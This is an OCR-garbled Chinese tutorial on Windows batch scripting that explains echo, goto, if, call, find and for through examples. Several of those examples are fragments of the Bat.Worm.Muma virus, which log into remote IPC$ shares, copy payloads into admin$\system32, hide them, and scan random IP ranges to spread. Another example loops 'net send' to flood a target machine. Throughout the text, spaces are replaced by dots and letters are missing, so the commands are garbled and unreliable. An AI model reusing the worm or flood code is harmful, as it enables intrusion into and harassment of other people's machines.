bat批處理教程超級詳細教程_第1頁
bat批處理教程超級詳細教程_第2頁
bat批處理教程超級詳細教程_第3頁
bat批處理教程超級詳細教程_第4頁
bat批處理教程超級詳細教程_第5頁
已閱讀5頁,還剩143頁未讀, 繼續免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

bat批處理教程(1)

這是一篇技術教程,我會用很簡單的文字表達清楚自

己的意思,你要你識字就能看懂,就能學到知識。寫

這篇教程的目的,是讓每一個看過這些文字的朋友記

住一句話:如果愛可以讓事情變的更簡單,那么就讓

它簡單吧!看這篇教程的方法,就是慢!慢

慢的,如同品一個女人、一杯茗茶,你會發現很多以

前就在眼前的東西突然變的很遙遠,而有些很遙遠的

東西卻又突然回到了眼前。

先概述一下批處理是個什么東西,批處理的定義,至

今我也沒能給出一個合適的----眾多高手們也都沒給

出一一反正我不知道一一-看了我也不一定信服--一我

是個菜鳥,當然就更不用說了;但我想總結出一個“比

較合適的”,而且我也相信自己可以把它解釋的很清

楚,讓更多的菜鳥都知道這是個什么東西,你用這個

東西可以干什么事情。或許你會因為這篇文章而“無

條件愛上批處理”,那么我的目的就達到了一一我就

是要讓你愛上它,我就這么拽,你能怎么著??

真的,愛有時候就這么拽,就是這么沒理由,就是這

么不要臉!真的!

按照我的理解,批處理的本質,是一堆DOS命令按一

定順序排列而形成的集合。

ok,neve.clave.an.ge.t.business(閑話少說言歸正

傳)。批處理,也稱為批處理腳本,英文譯為BATCH,

批處理文件后綴BAT就取的前三個字母。它的構成沒

有固定格式,只要遵守以下這條就ok了:每一行可

視為一個命令,每個命令里可以含多條子命令,從第

一行開始執行,直到最后一行結束,它運行的平臺是

DOSo批處理有一個很鮮明的特點:使用方便、靈活,

功能強大,自動化程度高。我不想讓自己寫的教程枯

燥無味,因為牽纏到代碼(批處理的內容算是代碼

吧?)的問題本來就是枯燥的,很少有人能面對滿

屏幕的代碼而靜下心來。所以我會用很多簡單實用的

例子讓讀這篇教程的朋友去體會批處理的那四射的魅

力,感受它那古靈精怪的性格,不知不覺中愛上批處

理(暈,怎么又是愛?到底批處理和愛有什么關

系?答案:沒有?。﹐再說句“閑話”:要學

好批處理,DOS基礎一定要牢!當然腦子靈活也

是很重要的一方面。

例一、先給出一個最easy的批處理腳本讓大家和它混

個臉熟,將下面的幾行命令保存為name.bat然后執

行(以后文中只給出代碼,保存和執行方式類似):

pin.sz.tencen..a.txt

pin.szl.tencen.>.a.txt

pin.sz2.tencen.>.a.txt

pin.sz3.tencen.>.a.txt

pin.sz4.tencen.>.a.txt

pin.sz5.tencen.>.a.txt

pin.sz6.tencen.>.a.txt

pin.sz7.tencen.>.a.txt

exit

是不是都能看的懂?是不是很easy?但它的

作用卻是很實用的,執行這個批處理后,可以在你的

當前盤建立一個名為a.txt的文件,它里面記錄的信

息可以幫助你迅速找到速度最快的QQ服務器,從而

遠離“從服務器中轉”那一痛苦的過程。這里〉的意思,

是把前面命令得到的東西放到后面所給的地方,〉〉的

作用,和〉的相同,區別是把結果追加到前一行得出

的結果的后面,具體的說是下一行,而前面一行命令

得出的結果將保留,這樣可以使這個a.txt文件越來

越大(想到如何搞破壞了??)°B.th.way,這

個批處理還可以和其他命令結合,搞成完全自動化判

斷服務器速度的東東,執行后直接顯示速度最快的服

務器IP,是不是很爽?后面還將詳細介紹。

例二、再給出一個已經過時的例子(a,bat):

@ech.off

i.exis.C:\Progra-l\Tencent\AD\*.gi.de.C:\Progr

a~l\Tencent\AD\*.gif

a.bat

為什么說這是個過時的例子呢?很簡單,因為現

在已經幾乎沒有人用帶廣告的QQ了(KAO,我的QQ

還顯示好友三圍呢?。。?,所以它幾乎用不

上了。但曾經它的作用是不可小窺的:刪除QQ的廣告,

讓對話框干干凈凈。這里用的地址是QQ的默認安裝地

址,默認批處理文件名為a.bat,你當然可以根據情

況自行修改。在這個腳本中使用了if命令,使得它可

以達到適時判斷和刪除廣告圖片的效果,你只需要不

關閉命令執行后的DOS窗口,不按CTRL+C強行終止命

令,它就一直監視是否有廣告圖片(QQ也再不斷查看

自己的廣告是否被刪除)。當然這個腳本占用你一點點

內存,呵呵。

例三,使用批處理腳本查是否中冰河。腳本內容如下:

@ech.off

netsta.-.-..a.txt

typ.a.tx..fin.”7626.&.ech."Congratulations.Yo.

hav.infecte.GLACIER!u

de.a.tx.

pans..exit

這里利用了netstat命令,檢查所有的網絡端口狀態,

只需要你清楚常見木馬所使用的端口,就能很easy

的判斷出來是否被人種了冰河。然這不是確定的,因

為冰河默認的端口7626,完全可以被人修改。這里介

紹的只是方法和思路。這里介紹的是方法和思路稍做

改動,就變成可以檢查其他木馬的腳本了,再改動一

下,加進去參數和端口及信息列表文件后,就變成自

動檢測所有木馬的腳本了。呵呵,是不是很過癮?

腳本中還利用了組合命令&&和管道命令I,后面將詳

細介紹。

例四,借批處理自動清除系統垃圾,腳本如下:

@ech.off

i.exis.c:\windows\temp\*..de.c:\windows\temp\*

??

i.exis.c:\windows\Tempor-l\*..de.c:\windows\Te

mpor?1\*..

i.exis.c:\windows\History\*..de.c:\windows\His

tory\*..

i.exis.c:\windows\recent\*..de.c:\windows\rece

nt.

將以上腳本內容保存到autoexec.bat里,每次開機

時就把系統垃圾給自動刪除了。這里需要注意兩點:

一、DOS不支持長文件名,所以就出現了Tempor-1這

個東東;二、可根據自己的實際情況進行改動,使其

符合自己的要求。

怎么樣,看到這里,你對批處理腳本是不是已經有點

興趣了?是不是發現自己已經慢慢愛上了這個東

東?別高興的太早,愛不是一件簡單的事,它也

許能帶給你快樂和幸福,當然也能讓你痛苦的想去跳

樓。如果你知道很難還敢繼續的話,.服.YOU!繼

續努力吧,也許到最后你不一定得到真愛(真的有這

可能,愛過的人都知道),但你可以體會到整個愛的

過程,就是如此.酸、苦和辣,有沒有甜天知道。為什

么會把批處理和愛情扯上關系?不是我無聊,也

不是因為這樣寫有趣多少,原因有二:其一,批處理

和愛情有很多相同的地方,有些地方我用“專業”的

行話解釋不清(我不懷疑自己的表達能力,而是事情

本身就不好說清楚),說了:沒說,但用地球人都知道

的愛情一比喻(愛情是什么?我**怎么知

道?。。?,沒準你心里一下就亮堂了,事半

功倍,何樂而不為?其二,我這段時間狀態不是

很好,感冒發燒頭疼鼻塞,但主要還是感情上精神摧

殘,搞的人煩透了,借寫教程之際感慨幾句,大家就

全當買狗皮膏藥了,完全可以省略不看(也許還真有

點效果一一不至于讓你看著看著就睡著了,把頭磕了

來找我報銷醫藥費)。說不定下次的教程中大家還會看

到楊過、張無忌等金老前輩筆下的英雄們。

看過第一章的朋友,一定對批處理有了初步的印象,

知道它到底是用來干什么的了。但你知道運用批處理

的精髓在哪里嗎?其實很簡單:思路要靈活!

沒有做不到的,只有想不到的。這和愛情就有點不同

了,因為愛情的世界是兩個人的世界,一廂情愿不叫

愛情(補充:那叫單戀。廢話?。┒幚韰s是

一個人的天堂,你可以為所欲為,沒有達不到的境

界!

批處理看起來雜亂無章,但它的邏輯性之強,絕對不

比其他程序語言(如匯編)低,如果你寫的腳本是一

堆亂麻,雖然每一行命令都正確,但從頭執行到尾后,

不一定得到你想要的結果,也許是一屏幕的

Bman.o.fai.nameo這又和愛情有了共同點:按

步驟來經營,缺少或增多的步驟都可能導致不想看見

的結果。陷入愛河的朋友,相信沒有不肯定這句話的。

我的愛情批處理,輸出的結果不是

Ba.comman.o.fa,屏幕是這么顯示的:'你的

愛情'不是內部或外部命令,也不是可運行的程序或

批處理文件。然后就是光標不停閃動,等待這下一次

錯誤的輸入。

從這一章開始,將由淺入深的介紹批處理中常用的命

令,很多常見DOS命令在批處理腳本中有這廣泛的應

用,它們是批處理腳本的BODY部分,但批處理比DOS

更靈活多樣,更具備自動化。要學好批處理,DOS一

定要有比較扎實的基礎。這里只講述一些比較少用(相

對來說)的DOS命令,常用命令如COPY、DIR等就不

做介紹了(這些看似簡單的命令實際復雜的很,我怕

自己都說不清楚?。?

例五,先看一個實例。這是一個很有意思的腳本,一

個小巧實用的好東東,把批處理“自動化”的特點體

現的淋漓盡致。先介紹一下這個腳本的來歷:大家都

知道匯編程序(MASM)的上機過程,先要對源代碼進

行匯編、連接,然后再執行,而這中間有很多環節需

要輸入很多東西,麻煩的很(只有經歷過的朋友才懂

得)。如何使這個過程變的簡單呢?在我們搞匯編

課程設計時,我“被..”寫了這個腳本,用起來很爽,

呵呵。看看腳本內容:

@ech.of.

::clos.echo

cis

::clea.scree.

ech.Tgramm.i.t.mak.th.MAS.programm.autom

at.

::

ech.Edi.b.CODERE.

::

ech.Mai1t.m..qqkiller***@sin.

::di

i.“%l"=”.got.usag.

::i.inpu.withou.paramate.got.usage

i."%1"="/?.got.usag.

::i.paramate.i.n/?.got.usage

i."%l"=="help.got.usag.

::i.paramate.i.Mhelp.got.usag.

paus.

::paus.t.se.usage

mas.%1.as.

::assembl.th..as.code

i.errorleve..paus..edi.%1.as.

::i.erro.paus.t.se.erro.ms.an.edi.th.code

1in.%1.ob..%.

::els.lin.th..ob.fil.an.execut.th..ex.file

:usag.

::se.usage

ech.Usage.Thi.BA.fi1.nam.[.

ech.Defaul.BA.fi1.nam.i.START.BA.

::displa.usage

先不要被這一堆的東西給嚇怕了,靜下心來仔細的看

(回想一下第一章中第一段是怎么寫的?。。﹐

已經給出了每一行命令的解釋,兩個冒號后面的內容

為前一行內容解釋的E文(害怕E文的朋友也不用擔

心,都很easy,一看就懂了,實在不懂了不會查詞

典啊,這么懶?),在腳本執行時不顯示,也不起

任何作用。倒數第5行行首有一個冒號,可不是筆誤

哦!具體作用后面會詳細講到。此腳本中masm

和1ink是匯編程序和連接程序,必須和edit程序以

及你要編輯的源代碼(當然還有這個腳本,廢

話?。┮黄鹪诋斍澳夸浿?。使用這個批處理腳本,

可以最大可能的減少手工輸入,整個過程中只需要按

幾下回車鍵,即可實現從匯編源代碼到可執行exe文

件的自動化轉換,并具備智能判斷功能:如果匯編時

源代碼出現錯誤(匯編不成功),則自動暫停顯示錯

誤信息,并在按任意鍵后自動進入編輯源代碼界面;

如果源代碼匯編成功,則進行連接,并在連接后自動

執行生成的exe文件。另外,由于批處理命令的簡單

性和靈活性,這個腳本還具備良好的可改進性,簡單

進行修改就可以符合不同朋友的上機習慣。正在學匯

編的朋友,一定別忘了實習一下!

在這個腳本中出現了如下幾個命令:@、echo、::、

pause、:和goto、%以及if。而這一章就將講述這幾

個命令.

這個符號大家都不陌生,email的必備符號,它怎么

會跑到批處理中呢?呵呵,不是它的錯,批處理

本來就離不開它,要不就不完美了。它的作用是讓執

行窗口中不顯示它后面這一行的命令本身(多么繞口

的一句話?。:呛?,通俗一點說,行首有了它的

話,這一行的命令就不顯示了。在例五中,首行的

@ech.off中,@的作用就是讓腳本在執行時不顯示后

面的ech.off部分。這下懂了吧?還是不太懂?

沒關系,看完echo命令簡介,自然就懂了。

2.ech.

中文為“反饋”、“回顯”的意思。它其實是一個開關

命令,就是說它只有兩種狀態:打開和關閉。于是就

有了ech.on和ech.off兩個命令了。直接執行echo

命令將顯示當前echo命令狀態(off或on)執行

ech.off將關閉回顯,它后面的所有命令都不顯示命

令本身,只顯示執行后的結果,除非執行ech.on命

令。在例五中,首行的@命令和ech.off命令聯合起來,

達到了兩個目的:不顯示ech.off命令本身,不顯示

以后各行中的命令本身。的確是有點亂,但你要是練

習一下的話,3分鐘包會,不會的退錢!echo命

令的另一種用法一:可以用它來顯示信息!如例

五中倒數第二行,Defaul.BA.fil.nam.i.START.BAT

將在腳本執行后的窗口中顯示,而echo命令本身不

顯示(為什么??)o

echo命令的另一種用法二:可以直接編輯文本文件。

例六:

ech.nbtsta.-.192.168.0...a.bat

ech.nbtsta.-.192.168.0..>.a.bat

ech.nbtsta.-.192.168.0..>.a.bat

以上腳本內容的編輯方法是,直接是命令行輸入,每

行一回車。最后就會在當前目錄下生成一個a.bat的

文件,直接執行就會得到結果。

3.::

這個命令的作月很簡單,它是注釋命令,在批處理腳

本中和rem命令等效。它后面的內容在執行時不顯示,

也不起任何作用,因為它只是注釋,只是增加了腳本

的可讀性,和C語言中的/*.......*/類似。地球人

都能看懂,就不多說了。

4.pause

中文為“暫停”的意思(看看你的workman上),我

一直認為它是批處理中最簡單的一個命令,單純、實

用。它的作用,是讓當前程序進程暫停一下,并顯示

一行信息:請按任意鍵繼續…在例五中這個命令運

用了兩次,第一次的作用是讓使用者看清楚程序信息,

第二個是顯示錯誤的匯編代碼信息(其實不是它想顯

示,而是masm程序在顯示錯誤信息時被暫它停了,

以便讓你看清楚你的源代碼錯在哪里)。

5.:和goto

為什么要把這兩個命令聯合起來介紹?因為它們

是分不開的,無論少了哪個或多了哪個都會出錯。

got。是個跳轉命令,:是一個標簽。當程序運行到goto

時,將自動跳轉到:定義的部分去執行了(是不是分不

開?)。例五中倒數第5行行首出現一個:,則程序

在運行到goto時就自動跳轉到:標簽定義的部分執行,

結果是顯示腳本usage(usage就是標簽名稱)。不難

看出,goto命令就是根據這個冒號和標簽名稱來尋找

它該跳轉的地方,它們是---對應的關系。goto命令

也經常和if命令結合使用。至于這兩個命令具體用法,

參照例五。

got。命令的另一種用法一:提前結束程序。在程序中

間使用got。命令跳轉到某一標簽,而這一標簽的內

容卻定義為退出。如:

got.end

:en.

這里:end在腳本最后一行!其實這個例子很弱智,

后面講了if命令和組合命令你就知道了。

6.%

這個百分號嚴格來說是算不上命令的,它只是批處理

中的參數而已(多個%一起使用的情況除外,以后還將

詳細介紹),但千萬別以為它只是參數就小看了它(看

看例五中有多少地方用到它?),少了它批處理的

功能就減少了51%了??纯蠢撸?/p>

ne.us.\\%l\ipc.%./u:M%2n

cop.11.BA.\\%l\admin$\system3./y

cop.13.BA.\\%l\admin$\system3./y

cop.ipc2.BA.\\%l\admin$\system3./y

cop.NWZI.EX.\\%l\admin$\system3./y

attri.\\%l\admin$\system32\10.ba.-.-.-s

以上代碼是Bat.Worm.Muma病毒中的一部分,%1代表

的IP,2%代表的username,3%代表password。執行

形式為:腳本文件.參數.參數.……。假設這個腳本被

保存為a.bat,則執行形式如

下:.I.usernam.password。這里IP、username、

password是三個參數,缺一不可(因為程序不能正確

運行,并不是因為少了參數語法就不對)這樣在腳本

執行過程中,腳本就自動用用你的三個參數依次(記

住,是依次!也是一一對應的關系。)代換1%、

2%和3%,這樣就達到了靈活運用的目的(試想,如果

在腳本中直接把IP^username和password都定義死,

那么腳本的作用也就被固定了,但如果使用%的話,

不同的參數可以達到不同的目的,是不是更靈

活?)o

關于這個參數的使用,在后續章節中還將介紹。一定

要非常熟練才行,這需要很多練習過程,需要下點狠

工夫!

這一章就寫到這里了。可能有朋友問了:怎么沒介紹

if命令?呵呵,不是我忘了,而是它不容易說清

楚,下一章再講了!這一章講的這點東西,如果

你是初學者,恐怕也夠消化的了,記住一句話:DOS

是批處理的BODY,任何一個DOS命令都可以被用在批

處理腳本中去完成特定的功能。到這里,你是否已經

想到了用自己肚子里的東西去寫點帶有自動化色彩的

東東呢?很簡單,就是一個DOS命令的集合而已,

相信自稱為天才的你已經會把計算機等級考試上機試

題中的DOS部分用批處理來自動化完成了。

煩!就好象一個半老女人到了更年期,什么事都

想嘮叨幾句,什么事都感到不舒服,看誰誰不爽。明

知山有虎,偏向虎山行,最后留下一身傷痕無功而返

時,才發現自己竟然如此脆弱,如此渺小,如此不堪

一擊。徘徊在崩潰的邊緣,突然回想起了自己最后一

次扁人的那一刻,還真有點懷念(其實我很不喜歡扁

人,更不喜歡被人扁)。我需要發泄,我用手指拼命的

敲打著鍵盤,在一陣接一陣有節奏的聲音中,屏幕上

出現了上面的這些文字??呻y道這就是發泄的另一種

方式嗎?中國人還是厲害,早在幾千年前孔老夫

子就說過“唯女子及小人,難養也”,真**有先見之

明,佩服!雖然是在發泄,不過大家請放心,以

我的脾氣,既然決定寫這篇教程,就一定會盡力去寫

好,寫完美,絕對不給自己留下遺憾,要不這教程就

不是我寫的!

曾經有一篇經典的批處理教程出現在你的屏幕上,你

沒有保存,直到找不到它的鏈接你才后悔莫及,人世

間最大的痛苦莫過于此。如果上天能給你一個再看一

次的機會,你會對那篇教程說三個字:我愛你!

如果非要給這份愛加上一個期限,你希望是100年。

因為100年后,你恐怕早已經掛了!而現在,你

的屏幕上出現了這篇你正在看的批處理教程,雖然不

如你曾經看的那篇經典,但如果勉強還過的去。你會

愛它嗎?時間會有50年那么長嗎?答案是:

試試看吧.

批處理腳本中最重要的幾個命令,將在這一章詳細介

紹,但是很遺憾,有些細節到現在我都沒掌握的很好,

甚至還有些生分。如同還不太懂得愛一樣。但我一直

都在努力,即使一直都沒有收獲,所以可能講的會比

較籠統,但我會告訴你方法,剩下的就是時間問題了,

需要自己去磨練。讓我們共同努力吧。冰凍三尺非一

日之寒,滴水穿石非一日之功。有些事情,比如學批

處理,比如愛一個人,都是不能速成的,甚至還會有

付出艱辛而收獲為甚微的情況。再次重申,看這篇教

程的時候,一定要靜下心來,除非你已經掌握了這篇

教程的所有東西----但那也就不必看了,浪費時間!

7、i.

接上一章,接著講if命令??偟膩碚f,if命令是一個表示判斷的命

令,根據得出的每一個結果,它都可以對應一個相應的操作。關于它

的三種用法,在這里分開講.

(1)、輸入判斷。還是用例五里面的那幾句吧.

i?"%1〃二二〃?got.US£g.

i."%1〃=〃/?.got.usag.

i.〃%l〃=〃help.got.usag.

這里判斷輸入的參數情況,如果參數為空(無參數),則跳轉到usage;

如果參數為/?或help時(大家一般看一個命令的幫助,是不是輸入

的/?或he]p呢,這里這么做只是為了讓這個腳本看起來更像一個真

正的程序),也跳轉到usage。這里還可以用否定形式來表示“不等

于",例如:i.no.〃%l〃=〃.got.usage,則表示如果輸入參數不為空

就跳轉到usage(實際中這樣做就沒意義了,這里介紹用法,管不了

那么多了,呵呵。)是不是很簡單?其實翻譯成中文體會一下就

understand了.

(2)、存在判斷。再看例二里這句.

i.exis.C:\Progra~l\Tencent\AD\*.gi.de.C:\Progra~l\Tencent\A

D\*.gi.

如果存在那些gif文件,就刪除這些文件c當然還有例四,都是一樣

的道理。注意,這里的條件判斷是判斷存在的,當然也可以判斷不存

在的,例如下面這句“如果不存在那些gif文件則退出腳本”:

i.no.exis.C:\Progra^l\Tencent\AD\*.gi.exito只是多一個not來

表示否定而已.

(3)、結果判斷。還是拿例五開刀(沒想到自己寫的腳本,竟然用處

這么大,呵呵).

mas.%1.as.

i.errorleve..paus..edi.%1.as.

lin.%1.ob.

先對源代碼進行匯編,如果失敗則暫停顯示錯誤信息,并在按任意鍵

后自動進入編輯界面;否則用link程序連接生成的。bj文件。這里

只介紹一下和if命令有關的地方,&命令后面會講到。這種用法是先

判斷前一個命令執行后的返回碼(也叫錯誤碼,DOS程序在運行完后

都有返回碼),如果和定義的錯誤碼符合(這里定義的錯誤碼為1),

則執行相應的操作(這里相應的操作為paus..edi.%1.asm部分).

另外,和其他兩種用法一樣,這種用法也可以表不否定。用否定的形

式仍表達上面三句的意思,代碼變為:

mas.%1.as.

i.no.errorleve..lin.%1.ob.

paus..edi.%1.as.

看到本質了吧?其實只是把結果判斷后所執行的命令互換了一下,

ui.no.errorleve.1和"i.errorleve.0”的效果是等效的,都表

示上一句masm命令執行成功(因為它是錯誤判斷,而且返回碼為0,

0就表示否定,就是說這個錯誤不存在,就是說masm執行成功)。這

里是否加not,錯誤碼到底用。還是1,是值得考慮的兩個問題,一

旦搭配不成功腳本就肯定出錯,所以一定要體會的很深刻才行。如何

體會的深刻?練習!自己寫一個腳本,然后把有not和沒有not

的情況,返回碼為0或1的情況分別寫進去執行(怎么,嫌麻煩?。?/p>

排列組合算一下才四中情況你就嫌麻煩了?后面介紹管道命令和組

合命令時還有更麻煩的呢!怕了?呵呵。),這樣從執行的結果中

就能很清楚的看出這兩種情況的區別.

這種用errorlevel結果判斷的用法是if命令最難的用法,但也恰恰

是最有用的用法,如果你不會用errorlevel來判斷返回碼,則要達

到相同的效果,必須用else來表示“否則”的操作,是比較麻煩的。

以上代碼必須變成.

mas.%1.as.

i.exis.%1.ob.lin.%1.ob.

els.paus..edi.%1.as.

關于if命令的這三種用法就say到這里,理解很簡單,但應用時就

不一定用的那么得心應手,主要是熟練程度的問題??赡苡械呐笥延?/p>

點驚訝,我怎么沒給出類似下面三行的用法介紹,是因為下面三行是

if命令幫助里對它自身用法的解釋,任何人只要一個“i./?”就能

看到,我沒有必要在這里多費口舌;更重要的原因,是我覺得這樣介

紹的不清楚,看的人不一定看的懂,所以我采用上面自己對if命令

的理解來介紹。一定要注意的是,這三種用法的格式各不相同,而且

也是不能改變的,但實際上可以互換(以為從本質上講,這三種用法

都是建立在判斷的基礎上的,哲學教我們學會透過現象看事物本

質!)o有興趣的朋友可以自己研究一下.

I.[NOT.ERRORLEVE.numbe.d.comman.

T.[NOT.stringl==string.d.comman.

I.[NOT.EXIS.filenam.d.command

8、cal.

學過匯編或C的朋友,肯定都知道call指令表示什么意思了,在這

里它的意思其實也是一樣的。在批處理腳本中,call命令用來從一

個批處理腳本中調用另一個批處理腳本。看例八(默認的三個腳本文

件名分別為start,bat、10.bat和ipc.bat).

start,bat.

??*?

CAL10.BA..

???

10.bat.

???

EC1L%.>HFIND.TM.

CAL.ipc.ba.IPCFind.tx.

ipc.bat.

fo./.,,tokens=l,2,.delims..%%,i.(%1.d.cal.HACK.ba.%%.%%.%%.

有沒有看出什么不對的地方?沒看出來???沒看出來就對了,其實

就沒有不對的地方嘛,你怎么看的出來!從上面兩個腳本,你可以

得到如下信息:1.腳本調用可以靈活運用,循環運用、重復運用。2.

腳本調用可以使用參數!關于第一點就不多說了,聰明的你一看就

應該會,這里說一下第二點.

在start,bat中,10.bat后面跟了參數0,在執行時的效果,其實就

是把10.bat里的參數%1用0代替。在start,bat中,ipc.bat后面

跟了參數ipcfind.txt(一個文件,也可以做參數),執行時的效果,

就是用ipc.bat中的每一行的三個變量(這里不懂沒關系,學過for

命令后就懂了),對應代換ipc.bat中的聯i、燃j和%%k。這里參數

調用是非常靈活的,使用時需要好好體會c在初學期間,可以先學習

只調用腳本,至于連腳本的參數一起使用的情況,在后面的學習中自

然就會有比較深刻的理解,這是因為當你己經可以靈活運用批處理腳

木后,如何使代碼寫的更精簡更完美更高效就自然包括到了考慮的范

圍,這時候你就會發現在調用腳本時直接加入參數,可以使代碼效率

加倍。B.th.way,上面的這幾個腳本,都是Bat.Worm.Muma病毒的一

部分,在后面的教程里,大家將有機會見到這個病毒的真面目。那是

不是說,在同一個目錄下至少存在兩個批處理腳本文件(只有一個你

調用誰?)?呵呵,注意了,這句話錯了??!只有一個照樣可

以調用一一調用自身!看例九(默認腳本文件名a.bat).

ne.sen.%.Thi.i..cal.example,

cal.a.ba.

這兩句一結合,效果自然不怎么樣,因為只有一臺機器來發消息,誰

怕誰???我給你來個禮尚往來!可如果有100臺機器同時執行,

而且每臺機器開10和窗口同時向一個目標機器發消息的話,呵呵。

這里cal.a.bat的作用就是調用自身,執行完前一句ne.send命令后

再調用自身,達到了循環執行的目的.

給出一個很有意思的腳本,有興趣的朋友可以實驗一下。例十(默認

腳本文件名為a.bat).

cal.a.ba.

一定要在DOS窗口下執行,否則只會看到一個窗口一閃而過,看不到

最后結果。等執行完后,當腳本被執行了1260次,別忘了想一下到

底是為什么!愛情有時候跟這個腳本一樣,一旦陷入死循環,最后

的結果都是意想不到的。只是愛情,絕對不會等到被毫無理由的循環

這么多次,也許在第三次時就出現了lov.i.aborted的提示.

9^fin.

這是一個搜索命令,用來在文件中搜索特定字符串,通常也作為條件

判斷的鋪墊程序(我怎么突然想起了這四個字?)O這個命令單獨使

用的情況在批處理中是比較少見的,因為沒什么實際意義。還是借例

三來說明.

@ech.of.

netsta.一..a.tx.

typ.a.tx..fin.”7626.&.ech.^Congratulations.Yo.hav.infects.G

LACIER!.

de.a.tx.

paus..exi.

先用netstat命令檢查是否有冰河默認的端口7626在活動,并把結

果保存到a.txt中。然后使用type命令列出a.txt中的內容,再在

列出的內容中搜索字符串“7626.,發現有的話則提示中了冰河,否

則退出??矗琭ind命令其實就這么簡單,但有一點必須要注意到:如

果不使用type命令列出a.txt中的內容,而是直接使用find命令在

a.txt中找“7626”

(fin.a.tx?〃7626?&.ech.''Congratulations.Yo.hav.infecte.GLAC

IER!〃),就必須得給出這個a.txt的絕對路徑(我試過了,find并

沒有默認路徑就是當前路徑的功能,必須手動指定。也許是我錯了,

歡迎指正)。因為在find命令的幫助里有這么一句話:如果沒有指定

路徑,find將搜索鍵入的或者由另一個命令產生的文字。這里的“另

一個命令”自然就指的type命令了.

至于find命令的其他幾個參數如v、n、i等,有興趣的朋友自己去

研究吧,這已經屬于DOS學習的內容了,這里就不做介紹。關于find

命令和其他命令的一些更精妙的用法(有些簡直令人叫絕),后續的

教程中將介紹,希望關注.

10>for、set^shif.

為什么把這三個命令放到一起來講?原因除了我說明外,恐怕誰也

想不到!很簡單的一句話:其實我也不太懂!是的,對于這兩個

命令,我是從研究Bat.Worm.Muma病毒開始學習的,時間過去了不少,

但還是沒完全搞明白,我怕講出來連自己都看不懂,我更怕不小心講

錯了成了罪人。所以我給出一個腳木去告訴你,如何讓這兩個命令給

自己留一個初步的印象,其實也就是這兩個命令的入門,而并不是說

如何領會這兩個命令。因為要領會如此精妙的兩個命令(特別是for)

談何容易!也許你會表揚我說我誠實、不懂就不懂;也許你會罵我,

讓我既然不懂就趕緊滾蛋,不要在這里丟人顯眼;也許你還會說一些

別的這樣那樣好聽或不好聽的話,都隨便你了,即使我不同意你說的

話,我也會誓死捍衛你說話的權利??蠢?

@ech.of.

fo./..for.tx.

se./..set.tx.

shif./.>shift.tx.

exi.

執行后在當前路徑下就生成for.txt>set.txt和shift.txt三個文

件,里面分別記錄了for命令、set命令和shift命令的幫助信息。

地球人都能看懂,我就不多說了。我在網上曾經找了很長時間這三個

命令的教程,但都不理想,基本都是照搬的幫助信息。我想在自己完

全掌握了這兩個命令后,一定要寫一篇用自己的文字總結出來的for、

set和shift教程[關于shift命令,后面介紹批處理的參數時還將

涉及到),一定會的,這是我的心愿之一!需要注意的一點是,這

三個命令的幫助.,介紹的都比較死板,雖然也舉了一些例子,但這

是遠遠不夠的。要掌握這兩個命令,最需要的就是耐心!沒寫錯,

就是耐心。光是認真看完它們的幫助文字就已經需要足夠的耐心了,

要進一步練習領會這兩個命令,難道不需要更大的耐心?實戰練習

的機會我會留給你的,關鍵還是那句話,看你有沒有耐心去研究了。

看看例十二.

START.BAT.

CAL.MUMA.BA.

SE.IPA=192.16.

CAL.10.BA..

:NEARAGAI.

netsta.-n|fin?〃:?>A.TM.

F0./."tokens=7,8,9,10,1.delims=..%%.I.(A.TMP.D.SE.NUM1=%%I

&.SE.NUM2=%%J&.SE.NUM3=%%K&.SE.NUM4=%%L&.SE.NUM5=%%M&.CAL.N

EAR.BA.

:STAR.

CAL.RANDOM.BA.

1.,/%NL'Ml%//==,,255.GOT.NEARAGAI.

I.〃%NUM1%〃=〃192.GOT.NEARAGAI.

L〃%NUM1%〃=〃127.GOT.NEARAGAI.

L〃%NUM2%〃=〃255.GOT.NEARAGAI.

I.,/%NUM3%,,==,,255.GOT.NEARAGAI.

I.〃%NUM4%〃=〃255.GOT.NEARAGAI.

SE.IPA=%NUM1%.%NUM2.

ECILSTAR..A.LO.

PIN.%IPA%.%NUM3%.1>B.TM.

PIN.%IPA%.%NUM3%.%NUM4%?B.TM.

FIN././."from.B.TM.

I.ERRORLEVE..GOT.STAR.

CAL.10.BA.%NUM3.

DE.A.LO.

GOT.START

這是Bat.Worm.Muma病毒的起始腳本,設置了病毒運行的環境變量。

是不是看的頭都大了?又忘了寫在第一章第一段的那句話(靜下心

來?。?,你應該能體會到學習這兩個命令所需要的耐心了吧。就如

同去愛一個人,你得學會寬容,打不得罵不得,用你寬大的胸懷去包

容她的一切,即使你發現愛她的過程如看上面代碼的過程一樣讓你頭

大,但你還是得愛下去一一愛需要理由嗎?不需要嗎?需要嗎?

不需要嗎……等到風平浪靜后,最直觀的收獲就是,你的耐心變的前

所未有的充足,面對她的復雜和善變,你自己會處變不驚,以自己的

方式去從容應付曾經應付不了的場面,即使到最后一身傷痕,也會感

慨曾經的舉動有多么偉大。

沒錯,這就是批處理的魅力,這就是愛的魅力。讓你受了傷還感謝傷

你的人。這種感覺就好象在自己最喜歡的音樂聲中被人..,痛并快樂

著。

不得不再次重申一-遍,各種DOS命令是批處理的BODY(我實在找不

出一個更合適的詞來形容他們之間的關系),學好DOS命令是學好批

處理的前提。其他DOS命令如copy、dir^del、type>path、break、

start等內部命令,以及ping、net>cmd、at>sort>attrib^fc^

find等外部命令,在批處理里的應用非常廣泛。這篇教程的作用,是

教你認識批處理,以及如何利用DOS命令組合出來一個完美的批處

理腳本,去讓它自動完成你想要它做的事情。而靈活自如的編輯一個

批處理腳本是建立在熟練掌握DOS命令的基礎上的,這已經超出了

本文的范疇,在此就不贅述了。

不知不覺中第三章已經結束了。耳麥里傳來的依然是陳曉東的《比我

幸?!罚扛?分32秒就自動重播。雖然我不并不很喜歡陳曉東,可

這并不妨礙我喜歡音樂,喜歡這首描寫的如此讓人感慨的歌。請你一

定要比我幸福/才不枉費我狼狽退出/再痛也不說苦/愛不用抱歉來彌

補/至少我能成全你的追逐/請記得你要比我幸福/才值得我對自己殘

酷/我默默的倒數/最后再把你看清楚/看你眼里的我好饃糊/慢慢被

放逐。我如同一個因年老失色而拉不到客的老妓女,絕望的徘徊在曾

經輝煌的紅燈區,用一臉的木然瞟一眼來來去去的人群,默默的回

憶自己并不光彩的過去,幻想自己將要面對的未來。直到看見那些幸

福依偎在一起的情侶們,才突然間發現上帝的公平,和這種公平的

殘忍。

可以說,批處理腳本中最重要的幾個命令我都沒有給出如echo或if

